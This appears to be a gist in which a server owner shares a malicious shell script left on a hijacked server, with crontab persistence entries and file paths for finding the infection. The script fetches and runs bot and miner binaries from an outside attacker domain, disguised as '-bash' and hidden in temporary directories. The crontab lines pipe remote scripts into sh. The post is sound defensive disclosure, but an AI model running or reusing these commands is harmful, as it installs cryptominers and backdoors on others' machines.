Created
December 3, 2023 21:09
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Found a script running on my server, that was hijacked and this script was left on it.
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| #!/bin/sh | |
| domain="pw.pwndns.pw" | |
| root=$(id -u) | |
| ARCH=$(uname -m) | |
| if which curl > /dev/null 2>&1; then | |
| dl="curl --fail --silent --connect-timeout 5 --max-time 10 --retry 1 -o" | |
| read="curl --fail --silent --connect-timeout 5 --max-time 10 --retry 1" | |
| elif which url > /dev/null 2>&1; then | |
| dl="url --fail --silent --connect-timeout 5 --max-time 10 --retry 1 -o" | |
| read="url --fail --silent --connect-timeout 5 --max-time 10 --retry 1" | |
| elif which get > /dev/null 2>&1; then | |
| dl="get -q --connect-timeout 5 --timeout 10 --tries 2 -O" | |
| read="get -q --connect-timeout 5 --timeout 10 --tries 2 -O-" | |
| elif which wget > /dev/null 2>&1; then | |
| dl="wget -q --connect-timeout 5 --timeout 10 --tries 2 -O" | |
| read="wget -q --connect-timeout 5 --timeout 10 --tries 2 -O-" | |
| else | |
| dl="" | |
| read="" | |
| fi | |
| myip=$($read http://$domain/?ip) | |
| servers=$($read http://$domain/servers/server.txt | grep $myip | wc -l) | |
| if [ "$servers" = "1" ]; then | |
| pid=$(ps x | grep -v -e grep -e R | grep -e "/usr/sbin/ddr" -e "ddrirc" -e "sshd$" | awk {'print $1'}) | |
| if [ -z "$pid" ]; then | |
| if [ "$root" = "0" ]; then | |
| service ssh start | |
| service sshd start | |
| /etc/init.d/sshd start | |
| fi | |
| cd /dev/shm || cd /tmp ; rm -rf -- $ARCH $ARCH* .$ARCH* -bash; $dl -bash http://$domain/bots/$ARCH ; chmod +x -- -bash ; ./-bash ; rm -rf -- -bash -bash* .-bash* | |
| # else | |
| # ps x | grep -v -e grep -e R | grep -e "/usr/sbin/ddr" -e "ddrirc" -e "sshd$" | awk {'print $1'} | while read -r p; do kill -9 "$p"; done | |
| # rm -rf /tmp/.ddr | |
| fi | |
| else | |
| ips=$(host xmr-rx0.pwndns.pw | awk {'print $4'} | while read -r ip; do echo " -e $ip ";done) | |
| ips="$ips -e 185.45.192.135" | |
| ssips=$(ss -np | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | grep $ips) | |
| if [ -z "$ssips" ]; then | |
| cd /var/tmp/ || cd /tmp/ ; rm -rf -- $ARCH $ARCH* .$ARCH* -bash ; $dl -bash http://$domain/miners/$ARCH ; chmod +x -- -bash ; ./-bash -c -k -dp 443 -tls -p 443 -tls -dp 3333 -p 3333 -d; rm -rf -- -bash .$ARCH* $ARCH* | |
| fi | |
| fi |
Also look for the following.
crondr mcrondr
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found more files
check your root user crontab
*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh
The following can be on any or all user's crontabs
*/10 * * * * curl -fsSL http://pw.pwndns.pw/update.sh | sh -s uc
@reboot curl -fsSL http://pw.pwndns.pw/reboot.sh | sh
so basically look for the following files in your entire server
lntpdate, entpdate,ntpdate, pwnrig
/etc/rc2.d/S01pwnrig
/etc/rc3.d/S01pwnrig
/etc/rc4.d/S01pwnrig
/etc/rc5.d/S01pwnrig
/etc/systemd/system/pwnrige.service
/etc/systemd/system/multi-user.target.wants/pwnrige.service
/etc/systemd/system/multi-user.target.wants/pwnrigl.service
/root/hacked/pwnrig
/usr/lib/systemd/system/pwnrigl.service